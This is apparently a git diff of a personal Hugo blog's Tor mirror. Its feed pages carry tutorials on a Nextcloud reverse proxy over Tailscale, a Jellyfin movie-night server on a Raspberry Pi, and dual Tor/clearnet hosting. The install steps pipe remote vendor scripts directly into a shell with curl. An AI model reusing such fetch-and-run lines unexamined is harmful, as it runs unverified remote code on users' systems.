    (Use the VPS’s Tailscale IP as seen from the Pi.)

    +

    5.3 overwritehost / overwriteprotocol / overwrite.cli.url

    +

    Tell Nextcloud “the world sees me as https://nextcloud.example”:

    +
    docker exec -u www-data nextcloud php /var/www/html/occ config:system:set overwritehost --value="nextcloud.alipourimjourneys.ir"
    +docker exec -u www-data nextcloud php /var/www/html/occ config:system:set overwriteprotocol --value="https"
    +docker exec -u www-data nextcloud php /var/www/html/occ config:system:set overwrite.cli.url --value="https://nextcloud.alipourimjourneys.ir"
    +

    5.4 forwarded_for_headers (optional, but often helpful)

    +
    docker exec -u www-data nextcloud php /var/www/html/occ config:system:set forwarded_for_headers 0 --value="HTTP_X_FORWARDED_FOR"
    +

    Restart Nextcloud container after config:

    +
    docker restart nextcloud
    +

    +

    6) Sanity checks (curl is your friend)

    +

    From anywhere public:

    +
    curl -I http://nextcloud.alipourimjourneys.ir
    +curl -I https://nextcloud.alipourimjourneys.ir
    +curl -I https://nextcloud.alipourimjourneys.ir/.well-known/caldav
    +

    Expected “good signs”:

    +
      +
    • HTTP returns 301 to HTTPS
    • +
    • HTTPS returns 302 to /login (or 200 if already authenticated)
    • +
    • /.well-known/caldav returns 301 to /remote.php/dav/
    • +
    +

    If you see redirect loops or wrong hostnames:

    +
      +
    • revisit overwritehost, overwriteprotocol, trusted_proxies.
    • +
    +
    +

    7) “Do I really need Cloudflare Access / WARP?”

    +

    The honest answer

    +

    If your setup is:

    +
      +
    • HTTPS only
    • +
    • strong passwords + MFA in Nextcloud/Jellyfin
    • +
    • your origin isn’t directly exposed (only the VPS is public)
    • +
    • you keep things patched
    • +
    +

    …then you’re already in a reasonable place.

    +

    “Can I skip Cloudflare Access?”

    +

    Yes. In this topology, Cloudflare Access is optional. The main security boundary is:

    +
      +
    • Public: VPS + Nginx
    • +
    • Private: Pi over Tailscale
    • +
    +

    For Jellyfin, Basic Auth adds a cheap extra gate that’s “family friendly”.

    +
    +

    8) Cloudflare Access: One-time PIN not arriving + passkeys

    +

    Two common gotchas:

    +

    8.1 One-time PIN email didn’t arrive

    +

    That flow relies on email delivery. Check:

    +
      +
    • spam/junk folder
    • +
    • if your provider blocked it
    • +
    • the exact email allowlist in your policy
    • +
    +

    If it’s flaky, I’d avoid One-time PIN and use a real identity provider.

    +

    8.2 Can I use passkeys / Apple / Google?

    +

    Yes — but passkeys typically come via an identity provider (IdP) that supports WebAuthn/passkeys. +Practical approach:

    +
      +
    • pick what your family already uses (Google or Apple),
    • +
    • configure that as the login method,
    • +
    • avoid WARP enrollment unless you specifically want device-based access.
    • +
    +
    +

    9) Hardening checklist (tiny but effective)

    +

    On the VPS:

    +
      +
    • Keep Ubuntu security updates on
    • +
    • firewall: allow only what you need (22/80/443)
    • +
    • optional: fail2ban for SSH
    • +
    +

    On the Pi:

    +
      +
    • keep Docker images updated
    • +
    • Postgres/Redis not exposed publicly (Docker internal network)
    • +
    • backups: Nextcloud data + DB
    • +
    +
    +

    10) TL;DR

    +
      +
    • VPS Nginx terminates TLS, proxies to Pi over Tailscale
    • +
    • Nextcloud must be told about: +
        +
      • trusted_domains
      • +
      • trusted_proxies
      • +
      • overwrite values (overwritehost, overwriteprotocol, overwrite.cli.url)
      • +
      +
    • +
    • curl -I should show sane redirects + /remote.php/dav/
    • +
    • Jellyfin gets an extra gate with Nginx Basic Auth
    • +
    +

    Boring is good. Boring runs for months.

    +
    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuYACgkQtYgoUOBM
    +jSomZA/+LsB+V0BnPki5qaDc+tRu6EXM5kPuH7G8x5ar4opsKgbfsRKEwT6/Q0Er
    +vfg48uYNp4fBnoyfJrgURx+OwS7EVJRCmXaRsdilEEGHF7cT3qHhlczYaC+58lGs
    ++qXaHjYE8x0byAZ8iHNxNUhIyILVrcsdua3JZ3D3J/8r93dfVgrWg41Nrtj4tPUE
    +QQMW/KxTe/TOED4iivXxFlDCiT13KmgB/B9HeunGPqu8lPMTORf4ePoPzeYEeuuZ
    +iVH+ssNZ9XB00Z4a/c3I0d2ALLYoA/dXmrJkl0qCCpCy+7/id2yz3eXYWn2xKMvp
    +SAMTYaFAV6Fd7xdmxGYEeoCSDu8P57P7QfdPVEU1oUTANO21tEh1vGnjxcFdJUBx
    +kOvBdjQf4wDqUuNv7NKA+OHOzhJ3Wf3VLb/ZNq6Y2okEibsCygm3XDn0008WeKPv
    +ncB0gceY6nFYzbyhuUIhPtQJJWDNi5KG/KMEvYcebEwDzn7TErg/v3Bp8ZCdWRx/
    +Gs8K9nADnHhAjWgwTq3D+2qRWcF0tlLSTmKg+95yaYi0XWWMFGTgCv2odPsgFlIS
    +3FiLJC3rV73prsk+7eZftBTYCJN0Xk92YFj4a6bTYeuLcC20VbAA98Bpi0pCyO0v
    +TJ2+amlKyT+Nq9wGrAez+dTvR0FKuEvA5OO693Aibv/iwOX6UPU=
    +=2UUg
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/pi_service_touchup.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/pi_service_touchup.md.asc
    +gpg --verify pi_service_touchup.md.asc pi_service_touchup.md
    +  
    +
    + + +]]>
    +
    + + Movie Night Over the Internet: Jellyfin + Tailscale on a Raspberry Pi 4 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/boredom/ + Sun, 21 Dec 2025 09:30:00 +0100 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/boredom/ + A cozy, slightly chaotic, very fun setup story: turning a Raspberry Pi 4 into a private movie-night server with Jellyfin, Docker, and Tailscale—starting on microSD and graduating to SSD later. + Ok. Let me tell you the why first. So…. I was turning from one side to the other on my bed, going through YouTube. The thing that I used to silence my pain, to let the time pass, and to forget. But it didn’t hit the same anymore. I was bored. Eternal boredom. Then the loneliness came back. It’s funny how you can be in the middle of dozens of people, i.e., not alone, but still feel lonely. Anyway. I though to myself “let’t message one of my two best friends”, We eventually went into a google meet, talked and talked, and decided to watch a movie together at the same time. I told him I still have my Raspberry Pi lying around, let me put it to good use. Few hours passed, and I was ready. Here is what happened in those few hours.

    +

    I wanted the kind of movie night where everyone presses play at the same moment, laughs at the same joke, and groans at the same plot twist—even when we’re scattered across different apartments and time zones. I also wanted it to be a little nerdy, a little elegant, and the kind of project that makes you feel like you own your gadgets again. Enter: a Raspberry Pi 4 (8GB), Jellyfin, and Tailscale.

    +

    This post is the “how it went” and the “how to do it” version. It’s written for the future-me who will forget everything the second it works, and for anyone who wants a private streaming setup without punching holes in their router for the entire internet to poke at.

    +

    The idea

    +

    Jellyfin is the media server that turns your own movie files into a nice Netflix-like library. Tailscale is the secret tunnel that lets your friends reach your server as if they were sitting on your Wi‑Fi—without you exposing ports to the public internet. Docker is the little shipping container that keeps everything tidy and portable, which matters because I started on a microSD card and planned to move to an SSD later.

    +

    The trick to making a Raspberry Pi feel “fast enough” is to avoid video transcoding whenever possible. When Jellyfin can “direct play” a file, the Pi mostly just serves bytes. When it has to transcode, it suddenly feels like you asked a hamster to tow a car. So the theme of this build is compatibility: store media in formats that phones, browsers, and TVs can play directly.

    +

    What you need

    +

    My setup uses Ubuntu (64-bit is the long-term-friendly choice), a Raspberry Pi 4, a microSD card to get started, and eventually a USB 3 SSD for real “server vibes.” You’ll also want a folder of movies you’re allowed to stream to your friends. Streaming DRM content from Netflix or rental platforms through Jellyfin isn’t supported, and I’m intentionally keeping this firmly in the “your own files” lane.

    +

    Step one: choose a home for your stuff

    +

    Before installing anything, I picked paths that would survive my future SSD upgrade. The idea is simple: keep all persistent app data under one directory, keep all media under another directory, and let Docker mount those paths into containers.

    +

    On the Pi, I created a little directory neighborhood under /srv:

    +
    sudo mkdir -p /srv/jellyfin/{config,cache} /srv/media /srv/compose/jellyfin
    +sudo chown -R $USER:$USER /srv
    +

    If you’re not ready to move movies into /srv/media yet, that’s okay. The important part is that you pick a place you can later mount your SSD onto without rewriting your whole setup.

    +

    Step two: install Docker and start thinking in containers

    +

    I installed Docker and verified that docker compose worked. After that, everything became a file called docker-compose.yml and the comforting feeling that I can rebuild my server from a single folder if life gets weird.

    +

    A typical install flow on Raspberry Pi OS looks like this:

    +
    sudo apt update
    +sudo apt install -y ca-certificates curl
    +curl -fsSL https://get.docker.com | sh
    +sudo usermod -aG docker $USER
    +newgrp docker
    +docker --version
    +docker compose version
    +

    Now for the part that feels like summoning a friendly daemon.

    +

    Step three: Jellyfin, running happily in Docker

    +

    In /srv/compose/jellyfin/docker-compose.yml, I defined a Jellyfin service and mounted my config, cache, and media directories into it. The key mental shift is that Jellyfin can only see what you mount into the container. If you try to browse to /home/hub/Documents/movies from inside the Jellyfin UI and it looks like the folder doesn’t exist, it’s not being dramatic—it genuinely can’t see it. Containers are like that.

    +

    Here’s a simple docker-compose.yml that works well on a Pi:

    +
    services:
    +  jellyfin:
    +    image: jellyfin/jellyfin:latest
    +    container_name: jellyfin
    +    user: "1000:1000"
    +    ports:
    +      - "8096:8096/tcp"
    +      - "7359:7359/udp"
    +    volumes:
    +      - /srv/jellyfin/config:/config
    +      - /srv/jellyfin/cache:/cache
    +      - /srv/media:/media
    +    restart: unless-stopped
    +

    If your user isn’t UID 1000, check it with id -u and id -g, then update the user: line accordingly.

    +

    I started Jellyfin like this:

    +
    cd /srv/compose/jellyfin
    +docker compose up -d
    +

    After that, Jellyfin lived at http://<pi-lan-ip>:8096 on my home network, which is the most satisfying “it’s alive” moment of the whole build.

    +

    Step four: Tailscale, the magic door for friends

    +

    Now comes the part that makes everything feel effortless. Instead of forwarding ports, configuring certificates, and hoping I didn’t accidentally publish my server to the open ocean, I installed Tailscale on the Pi host.

    +
    curl -fsSL https://tailscale.com/install.sh | sh
    +sudo tailscale up
    +tailscale ip -4
    +

    That last command gives you a 100.x.y.z address. It’s your Pi’s Tailscale IP, and it’s the address your friends will use to reach Jellyfin. From anywhere, the server becomes:

    +
    http://100.x.y.z:8096
    +

    Or if you enabled magicDNS:

    +
    http://rpi:8096
    +

    The moment you can open that URL from your phone on mobile data and see your own server is the moment you start plotting your next homelab project.

    +

    If you want friends to access only this server and not everything else in your tailnet, Tailscale has a device sharing flow that’s perfect for “here’s the Pi, please don’t look in the rest of my digital house.”

    +

    Step five: create a Jellyfin user for your friend

    +

    Jellyfin accounts are local to your server. Your friend won’t “sign up” on some global Jellyfin site; instead, you create a user for them inside your Jellyfin admin dashboard. The nice part is that you can give them access only to the libraries you want, and you can keep admin permissions to yourself.

    +

    If typing passwords on a TV app makes you feel old instantly, Jellyfin’s Quick Connect feature can make logins much smoother. Your friend gets a short code on their device, you approve it from your logged-in browser, and nobody has to poke letters into a remote control one by one.

    +

    Step six: the secret to a smooth Pi movie night is Direct Play

    +

    A Raspberry Pi 4 is perfectly happy serving media files. It becomes less happy when it has to convert them on the fly. The goal is to store your library in a way that most clients can play without conversion.

    +

    For “plays on basically everything,” I like MP4 with H.264 video and AAC audio. When I inspected one of my files, I found H.264 video already, but the audio was AC3. AC3 is fine on some devices, but it’s not universal in browsers, and “my friend has no audio” is a movie-night mood killer.

    +

    The fix was to keep the video as-is and convert only the audio to AAC, which is much lighter than re-encoding the whole video. This command copies the H.264 video stream, converts audio to AAC stereo, and produces an MP4 that’s friendlier to phones and browsers:

    +
    ffmpeg -i "500.Days.of.Summer.2009.1080p.BluRay.RARBG.FilmKio.mkv"   -map 0:v:0 -map 0:a:0   -c:v copy   -c:a aac -b:a 384k -ac 2   -movflags +faststart   "500.Days.of.Summer.2009.1080p.mp4"
    +

    Subtitles deserve their own tiny cautionary tale. Some subtitle formats trigger transcoding because the client can’t render them natively and asks the server to burn them into the video. Text-based SRT subtitles are usually the easiest path. If your MKV contains an SRT track, you can extract it and keep it next to your MP4:

    +
    ffmpeg -i "500.Days.of.Summer.2009.1080p.BluRay.RARBG.FilmKio.mkv"   -map 0:s:0   "500.Days.of.Summer.2009.1080p.srt"
    +

    Once your friend is watching, you can confirm how Jellyfin is handling playback by checking the active session in the admin dashboard. Seeing “Direct Play” feels like winning.

    +

    Step seven: SyncPlay, aka “we pressed play together”

    +

    Jellyfin has SyncPlay for “group watch” nights, and it’s wonderfully simple when everyone is using compatible clients. In practice, the web client is an excellent baseline because it’s consistent and easy for friends. When we do movie night, we start a SyncPlay group, join it from each device, and keep a voice call open for commentary and laughter. It’s not complicated; it’s just… cozy.

    +

    Starting on microSD, graduating to SSD later

    +

    Yes, you can run all of this on microSD to begin with. It works. It also feels like using a napkin as a hard drive if you add heavy-write services later. My plan is to move the system to an SSD when convenient, because SSDs are faster and they handle constant writes far better than microSD cards.

    +

    The reason the /srv layout is so helpful is that migration becomes a simple copy-and-mount story. When the SSD arrives, you can copy /srv to the SSD, mount the SSD at /srv, reboot, and your containers will come back exactly as before. Docker will happily reuse the same volume paths; Jellyfin will happily reuse the same library; and you’ll feel like a wizard who planned ahead.

    +

    Where this goes next

    +

    Once Jellyfin and Tailscale are stable, it’s easy to imagine the Pi doing more. Pi-hole is light and useful. A smart home hub is fun. Nextcloud is possible, especially with SSD storage and some attention to databases and caching. The practical advice I’m giving future-me is to add services one at a time and keep /srv as the center of gravity, because nothing ruins movie night like “I tweaked DNS and now nothing works.”

    +

    For now, though, this little Pi does the job: it hosts a library, it welcomes friends through a private tunnel, and it turns “let’s watch something” into a real shared moment—even when we’re not in the same room.

    +

    Happy streaming.

    +

    The movie night went great, I even posted a BeReal on it. The choice of movie was not random either. I’ll write a review for it later on. It was just amazing.

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbugACgkQtYgoUOBM
    +jSrqzw/8Crod3Gm5xGMMrOtsoVm9NFwTAD7xdc8H5LcFC8P5OZmyEYBxF/SEHk6m
    +TDhSyj6bNdShWIrzkKL0XHm6ntjhkBX4+dFzPbKjpHZ84on/xfNwIOh8br+WJEBF
    +V3zCialBjjxxE37PVLkqsNVVtMgT2Wv5GnR7SWLKkovJWpIn/FP0gSsQFUIvRvdC
    +Xhy3nvODqXZqfg77kKllmbkPI5ePkxl95CK9fd4yzhI13G41vveVO4dt2JhWVR6H
    +dfRv6XG53WGP0nVWyEdHJjJhiT1JTd7//AD3DsRCTmBNyaxweRlPsvqqICquGx1U
    +LGQ62y0oZL5WDqjiD7T2ZJAJ6sqr6NngFGjh7RaKOWDT1+8fTdXfQg/t91lTHVfh
    +efVqOiH+B6SlzqPM4LgzRjf+36XdSu9R1w75sGykQpGRBfq2IymoM6RPQLEwgm3J
    +haMjYRqx5jZSLj9FpjOZFYEuqYCa0ut0lUgY9BDHf0u8kKrW6OQZFVdhN31g+Lvf
    +5qjzC+ZzR4BLMpA4E33NKmYT4Rt1i5mSPiGY85yqhJdjFJRtPfXXf05+m7VGjRPp
    +sWQmqO1o7cChFqVnF5IalDFCNIsGavBf8F0/7tu3y4bLIqoBMBfgIgg9KMORVHIn
    +kqUsV4LpNgVWdTzp0QURkHUOL5uP72Jqa3ppVYEXlJQbhuLpCDY=
    +=/K6E
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/boredom.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/boredom.md.asc
    +gpg --verify boredom.md.asc boredom.md
    +  
    +
    + + +]]>
    +
    +
    +
    diff --git a/public-onion/tags/tailscale/page/1/index.html b/public-onion/tags/tailscale/page/1/index.html new file mode 100644 index 0000000..d8fe354 --- /dev/null +++ b/public-onion/tags/tailscale/page/1/index.html @@ -0,0 +1,10 @@ + + + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/tailscale/ + + + + + + diff --git a/public-onion/tags/tor/index.html b/public-onion/tags/tor/index.html new file mode 100644 index 0000000..55390a0 --- /dev/null +++ b/public-onion/tags/tor/index.html @@ -0,0 +1,356 @@ + + + + + + + +Tor | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + + +
    +
    +

    Running my blog on Tor (.onion) and the Clearnet with Hugo + PaperMod +

    +
    +
    +

    TL;DR — The site is built once (Hugo project), published twice: +Onion: http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/ via Tor, no TLS/HSTS, bound to 127.0.0.1:3301. Clearnet: https://blog.alipourimjourneys.ir behind Cloudflare, Let’s Encrypt cert, Onion-Location header pointing to the onion mirror. 1) Tor hidden service (onion) basics I used Tor’s v3 onion services and mapped onion port 80 → my local web server on 127.0.0.1:3301. +Install & configure Tor (Debian/Ubuntu): +sudo apt update && sudo apt install -y tor sudoedit /etc/tor/torrc Add: +...

    +
    +
    September 19, 2025 · 6 min · Iman Alipour + + + + + + +
    + +
    +
    + + + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + diff --git a/public-onion/tags/tor/index.xml b/public-onion/tags/tor/index.xml new file mode 100644 index 0000000..a57925c --- /dev/null +++ b/public-onion/tags/tor/index.xml @@ -0,0 +1,249 @@ + + + + Tor on AlipourIm journeys + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/tor/ + Recent content in Tor on AlipourIm journeys + Hugo -- 0.146.0 + en + Fri, 19 Sep 2025 00:00:00 +0000 + + + Running my blog on Tor (.onion) and the Clearnet with Hugo + PaperMod + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/tor_clearnet_blog/ + Fri, 19 Sep 2025 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/tor_clearnet_blog/ + How I hosted a Hugo + PaperMod site both as a Tor onion service and a normal HTTPS site behind Cloudflare, with clean configs, dual builds, and a one-command deploy. + +

    TL;DR — The site is built once (Hugo project), published twice:

    +
      +
    • Onion: http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/ via Tor, no TLS/HSTS, bound to 127.0.0.1:3301.
    • +
    • Clearnet: https://blog.alipourimjourneys.ir behind Cloudflare, Let’s Encrypt cert, Onion-Location header pointing to the onion mirror.
    • +
    +
    +

    1) Tor hidden service (onion) basics

    +

    I used Tor’s v3 onion services and mapped onion port 80 → my local web server on 127.0.0.1:3301.

    +

    Install & configure Tor (Debian/Ubuntu):

    +
    sudo apt update && sudo apt install -y tor
    +sudoedit /etc/tor/torrc
    +

    Add:

    +
    HiddenServiceDir /var/lib/tor/hidden_site/
    +HiddenServicePort 80 127.0.0.1:3301
    +

    Make sure the directory is owned by Tor’s user and private:

    +
    sudo mkdir -p /var/lib/tor/hidden_site
    +sudo chown -R debian-tor:debian-tor /var/lib/tor/hidden_site
    +sudo chmod 700 /var/lib/tor/hidden_site
    +

    Important: use the right systemd unit:

    +
    # validate as the Tor user
    +sudo -u debian-tor tor -f /etc/tor/torrc --verify-config
    +
    +# (re)start the real service
    +sudo systemctl enable --now tor@default
    +sudo systemctl restart tor@default
    +

    Get the onion address:

    +
    sudo cat /var/lib/tor/hidden_site/hostname
    +

    Quick check (do remote DNS via SOCKS):

    +
    curl -I --socks5-hostname 127.0.0.1:9050 "http://$(sudo cat /var/lib/tor/hidden_site/hostname)"
    +

    +

    2) Nginx for the onion (localhost-only)

    +

    I keep the onion site strictly on localhost: no HTTPS, no redirects, no HSTS. Tor already provides e2e encryption and authenticity.

    +

    /etc/nginx/sites-available/onion-blog:

    +
    server {
    +    listen 127.0.0.1:3301 default_server;
    +    server_name <your-56-char>.onion 127.0.0.1 localhost;
    +
    +    # keep onion simple; no HSTS/redirects here
    +    add_header Referrer-Policy no-referrer always;
    +    add_header X-Content-Type-Options nosniff always;
    +    add_header X-Frame-Options SAMEORIGIN always;
    +    # (optional) strict CSP so nothing leaks to clearnet
    +    # add_header Content-Security-Policy "default-src 'self'; img-src 'self' data:; style-src 'self' 'unsafe-inline'; script-src 'self'" always;
    +
    +    root /srv/hugo/mysite/public-onion;
    +    index index.html;
    +
    +    location / { try_files $uri $uri/ /index.html; }
    +    location ~* \.(css|js|ico|png|jpg|jpeg|gif|svg|webp|txt|xml)$ {
    +        access_log off;
    +        add_header Cache-Control "public, max-age=31536000, immutable";
    +        try_files $uri =404;
    +    }
    +}
    +

    Enable/reload:

    +
    sudo ln -sf /etc/nginx/sites-available/onion-blog /etc/nginx/sites-enabled/onion-blog
    +sudo nginx -t && sudo systemctl reload nginx
    +
    +

    Gotcha I hit: I had two server blocks on 127.0.0.1:3301, which caused 404s via onion. Make sure only the intended vhost listens there (or mark it default_server). Also, if you ever use a regex in server_name, the syntax is server_name ~* \.onion$ (note the space after ~*).

    +
    +

    3) Hugo + PaperMod setup (and version bumps)

    +

    PaperMod now requires Hugo Extended ≥ 0.146.0. I installed the extended binary from the official tarball to avoid Snap’s sandbox limitations (Snap can’t read /srv paths by default).

    +
    # install Hugo extended (example)
    +VER=0.146.0
    +cd /tmp
    +wget https://github.com/gohugoio/hugo/releases/download/v${VER}/hugo_extended_${VER}_Linux-amd64.tar.gz
    +tar -xzf hugo_extended_${VER}_Linux-amd64.tar.gz
    +sudo mv hugo /usr/local/bin/hugo
    +hugo version  # should say "extended" and >= 0.146.0
    +

    Create the site and theme:

    +
    sudo mkdir -p /srv/hugo && sudo chown -R "$USER":"$USER" /srv/hugo
    +cd /srv/hugo
    +hugo new site mysite
    +cd mysite
    +git init
    +git submodule add https://github.com/adityatelange/hugo-PaperMod themes/PaperMod
    +

    Config updates: in newer Hugo, paginate is deprecated → use:

    +
    # config/_default/hugo.toml
    +title = "My Blog"
    +theme = "PaperMod"
    +enableRobotsTXT = true
    +
    +[pagination]
    +  pagerSize = 10
    +
    +[params]
    +  defaultTheme = "auto"
    +  showReadingTime = true
    +  showPostNavLinks = true
    +  showBreadCrumbs = true
    +  showCodeCopyButtons = true
    +

    I added per-environment overrides so I can build two outputs with different baseURLs:

    +
    # config/clearnet/hugo.toml
    +baseURL = "https://blog.alipourimjourneys.ir/"
    +
    +# config/onion/hugo.toml
    +baseURL = "http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/"
    +

    +

    4) Dual builds (clearnet + onion) and one-command deploy

    +

    I publish the same content twice—once for each base URL and docroot:

    +
    cd /srv/hugo/mysite
    +# clearnet build (served over HTTPS)
    +hugo --minify --environment clearnet -d public-clearnet
    +# onion build (served via Tor)
    +hugo --minify --environment onion    -d public-onion
    +sudo systemctl reload nginx
    +

    Helper script I use:

    +
    sudo tee /usr/local/bin/build-both >/dev/null <<'EOF'
    +#!/usr/bin/env bash
    +set -euo pipefail
    +cd /srv/hugo/mysite
    +hugo --minify --environment clearnet -d public-clearnet
    +hugo --minify --environment onion    -d public-onion
    +sudo systemctl reload nginx
    +echo "Deployed both at $(date)"
    +EOF
    +sudo chmod +x /usr/local/bin/build-both
    +

    While editing, I sometimes auto-rebuild on file save:

    +
    sudo apt install -y entr
    +cd /srv/hugo/mysite
    +find content layouts assets static config -type f | entr -r build-both
    +

    +

    5) Clearnet behind Cloudflare + Let’s Encrypt (manual DNS-01)

    +

    Cloudflare is set to Full (strict). I issued a public cert for blog.alipourimjourneys.ir using manual DNS-01 (no API token):

    +
    sudo snap install --classic certbot
    +sudo certbot certonly --manual --preferred-challenges dns   -d blog.alipourimjourneys.ir   --agree-tos -m you@example.com --no-eff-email
    +

    Certbot tells you to add a TXT record _acme-challenge.blog.alipourimjourneys.ir. Add it in Cloudflare DNS, verify with dig, then continue. Cert ends up at:

    +
    /etc/letsencrypt/live/blog.alipourimjourneys.ir/fullchain.pem
    +/etc/letsencrypt/live/blog.alipourimjourneys.ir/privkey.pem
    +

    Clearnet Nginx vhosts:

    +
    # HTTP → HTTPS redirect (optional; CF usually talks HTTPS to origin anyway)
    +server {
    +  listen 80; listen [::]:80;
    +  server_name blog.alipourimjourneys.ir;
    +  return 301 https://blog.alipourimjourneys.ir$request_uri;
    +}
    +
    +# HTTPS origin (behind Cloudflare)
    +server {
    +  listen 443 ssl http2; listen [::]:443 ssl http2;
    +  server_name blog.alipourimjourneys.ir;
    +
    +  ssl_certificate     /etc/letsencrypt/live/blog.alipourimjourneys.ir/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/blog.alipourimjourneys.ir/privkey.pem;
    +
    +  # HSTS on clearnet only
    +  add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
    +
    +  # Help Tor Browser discover the onion mirror (safe on clearnet)
    +  add_header Onion-Location "http://<your-56-char>.onion$request_uri" always;
    +
    +  root /srv/hugo/mysite/public-clearnet;
    +  index index.html;
    +
    +  location / { try_files $uri $uri/ /index.html; }
    +}
    +
    +

    Note: don’t add HSTS or HTTPS redirects to the onion vhost. Keep onion pure HTTP on localhost.

    +
    +

    6) Troubleshooting I ran into (and fixes)

    +
      +
    • Tor unit confusion: tor.service is a tiny master; the real daemon is tor@default. Use that unit and verify config as debian-tor.
    • +
    • Permissions: HiddenServiceDir must be owned by debian-tor and mode 700.
    • +
    • Mapping mismatch: If HiddenServicePort 80 127.0.0.1:3301 is set, visit http://<onion>/ (no :3301). If you set HiddenServicePort 3301 127.0.0.1:3301, you must use http://<onion>:3301/.
    • +
    • Curl & .onion: modern curl refuses .onion unless you use remote DNS via SOCKS: +
      curl -I --socks5-hostname 127.0.0.1:9050 "http://<onion>/"
      +
    • +
    • Two Nginx vhosts on the same port: I had a duplicate server on 127.0.0.1:3301 pointing somewhere else, which caused onion 404s. Keep only one (or mark one default_server).
    • +
    • Regex in server_name: if you use it, write server_name ~* \.onion$ (space after ~*). I fixed an invalid variable name error caused by a missing space.
    • +
    • PaperMod with old Hugo: upgraded to extended ≥ 0.146.0. Also updated paginate[pagination].pagerSize.
    • +
    • Snap confinement: Snap’s hugo couldn’t read /srv (.../void: permission denied). Switched to the tarball build in /usr/local/bin.
    • +
    +
    +

    7) “Not secure” in Tor Browser?

    +

    That message can appear because onion uses HTTP. It’s OK: Tor provides e2e encryption + onion auth. If you enable HTTPS-Only Mode, add an exception for the site. Also ensure the onion build doesn’t reference clearnet resources (scan the built HTML for http(s):// links that aren’t your onion).

    +
    +

    8) Day-to-day workflow

    +
      +
    • Create content: +
      hugo new posts/my-first-post.md  # then set draft: false
      +
    • +
    • Publish both: +
      build-both
      +
    • +
    • (Optional) Auto on save: +
      find content layouts assets static config -type f | entr -r build-both
      +
    • +
    • (Optional) Git push-to-deploy with a bare repo + post-receive hook that runs build-both.
    • +
    +
    +

    Final notes

    +
      +
    • Clearnet gets HTTPS + HSTS and an Onion-Location header.
    • +
    • Onion gets no HSTS/redirects, and all assets are self-hosted to avoid mixed content.
    • +
    • Serving both worlds from one Hugo repo is easy: two builds, two vhosts, one workflow.
    • +
    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuQACgkQtYgoUOBM
    +jSr80hAAqr/XVnG0YNXXgG5FmVK/xBo5VVdYxba+znAc1rCWJuzwHe2Ih0aYsq7d
    +DMWRkpE9YTfQl/kSYpzlk96KCKv+6lHQXqcPyq+nQTDl/D7iCaOhb8Dog3W/2qN4
    +6G05f47EoiOJY+G/XgUHKqK75QhJrGUtom71t30alciaEGW2SauewBVTGmD+x4y4
    +UN8LABLuB/ZE8sInjoTRr28LWVj6XeHMueY9/tpS9Fm3yw3nHnE4Fv77FtTHQiMo
    +FwGfnomCwVwd5GpaP7LQdtP/a+x4s/bya2keFLW89xgwXolWB6U3y5BLFeVHptQm
    +slRx0+P27gH+CRtoXKI4kHThbmkmjM9ohJc7kxrkkbzB3ujkrxjC+rZnHXPCdbsZ
    +TTiwtJ/jLLbX+NfycW9qR6gVxloO35QA90AY7050tOgAsyH+YUn+Rtj2KVj91E0o
    +VzljG7RAly7yTe+yxzC6OO+iCJvLS6OpLEN5oIG9CmRm5cw/qB2rl8g/Qsru0t7/
    +OrTnJ8fJqq+XRhBet/eR4zogcSEo7fTMp0pDdapMYkO3Xe5VPQ/3Gu7xr8utoXXZ
    +N6VbRTRfq2Vnp+A9NshVsaKqXXaXsAL8GivMk37/bqteZ2BWedvzk1PpGf3f9HS8
    +700JFbZi9uEECoxtnv0uK67i8lkax/gsiTiGdjmx5mzfXfUQXVM=
    +=QlNw
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/tor_clearnet_blog.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/tor_clearnet_blog.md.asc
    +gpg --verify tor_clearnet_blog.md.asc tor_clearnet_blog.md
    +  
    +
    + + +]]>
    +
    +
    +
